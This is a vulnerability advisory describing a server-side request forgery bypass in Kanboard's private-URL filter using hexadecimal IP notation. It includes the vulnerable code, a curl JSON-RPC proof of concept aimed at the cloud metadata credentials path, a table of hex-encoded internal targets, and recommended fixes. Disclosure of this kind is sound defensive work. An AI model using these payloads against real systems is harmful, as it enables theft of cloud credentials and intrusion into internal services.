Product: Kanboard project management software
Affected versions: 1.2.52 (latest stable, April 2026) and all prior versions
Fixed version: None (unpatched as of 2026-07-18)
CVSS v3.1: 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
CWE: CWE-918 (Server-Side Request Forgery)
Reporter: Saidakbarxon Maxsudxonov
Kanboard implements SSRF protection through an isPrivateURL() method in app/Core/Http/Client.php. This method is intended to prevent authenticated users from making the server fetch internal URLs via features like web link title fetching.
The filter has a critical bypass: it does not account for hexadecimal IP address notation. When a hostname like 0x7f000001 (hexadecimal for 127.0.0.1) is supplied:
gethostbyname('0x7f000001')returns the input unchanged (cannot resolve hex notation)filter_var($ipAddr, FILTER_VALIDATE_IP)rejects it as not a valid dotted-decimal IPisPrivateURL()returnsfalse— URL is treated as safe/public- cURL resolves hexadecimal IP notation natively and connects to
127.0.0.1
app/Core/Http/Client.php
public function isPrivateURL(string $url): bool {
$parsed = parse_url($url);
$hostname = $parsed['host'] ?? '';
$ipAddr = gethostbyname($hostname);
// gethostbyname('0x7f000001') returns '0x7f000001' unchanged
if (filter_var($ipAddr, FILTER_VALIDATE_IP) === false) {
return false; // BUG: hex IP fails FILTER_VALIDATE_IP → treated as "not private"
} // → all private range checks below are skipped!
if (!filter_var($ipAddr, FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
return true; // Would correctly block 127.0.0.1, 10.x, 169.254.x.x, etc.
}
return false;
}app/ExternalLink/WebLink.php (SSRF sink, line ~29)
$title = $this->httpClient->get($url)->getContent();Prerequisites: Any valid Kanboard user account (no admin privileges required)
Step 1: Create a task in any project the user has access to.
Step 2: Add a web link with a hexadecimal internal IP as the URL via JSON-RPC:
curl -X POST http://kanboard.target/jsonrpc.php \
-u "user:password" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc":"2.0",
"method":"createExternalLink",
"id":1,
"params":{
"task_id": 1,
"url": "http://0xA9FEA9FE/latest/meta-data/iam/security-credentials/",
"dependency": "related",
"type": "weblink",
"title": ""
}
}'0xA9FEA9FE = 169.254.169.254 (AWS/GCP/Azure Instance Metadata Service)
Step 3: Kanboard fetches the URL server-side, bypassing the SSRF filter. In a cloud environment, the IMDS response returns IAM credentials.
Additional internal targets:
| Hex notation | Resolved IP | Target |
|---|---|---|
0x7f000001 |
127.0.0.1 |
Localhost services (Redis, Memcached) |
0xA9FEA9FE |
169.254.169.254 |
AWS/GCP/Azure IMDS |
0x0A000001 |
10.0.0.1 |
RFC1918 class A internal |
0xC0A80101 |
192.168.1.1 |
RFC1918 class C internal |
An authenticated Kanboard user (no admin required) can:
- Retrieve temporary IAM credentials from AWS/GCP/Azure/DigitalOcean IMDS → cloud account takeover
- Scan and access internal services not exposed to the internet (Redis, Elasticsearch, internal admin panels)
- Exfiltrate data from internal HTTP services
- Access Kubernetes service account tokens via the internal API server
- Bypass network-level firewall rules on outbound traffic
In cloud deployments — which are common for Kanboard as a team tool — IMDSv1 credential theft leads to full cloud account takeover when the instance has privileged IAM roles attached.
| File | Location | Issue |
|---|---|---|
app/Core/Http/Client.php |
isPrivateURL() |
Incomplete validation — hex IP bypasses FILTER_VALIDATE_IP |
app/ExternalLink/WebLink.php |
Line ~29 | SSRF sink: user-supplied URL passed directly to HTTP client |
Fix 1 (Recommended): After gethostbyname(), use inet_pton() which correctly rejects non-standard formats including hex notation:
$ipAddr = gethostbyname($hostname);
if (inet_pton($ipAddr) === false) {
return true; // Unresolvable / non-standard format → treat as private (deny)
}Fix 2: Detect hex notation before resolution:
if (preg_match('/^0x[0-9a-fA-F]+$/i', $hostname)) {
return true; // Hex IP → block immediately
}Fix 3: Block all server-side outbound HTTP requests at the network level rather than relying on application-layer filtering.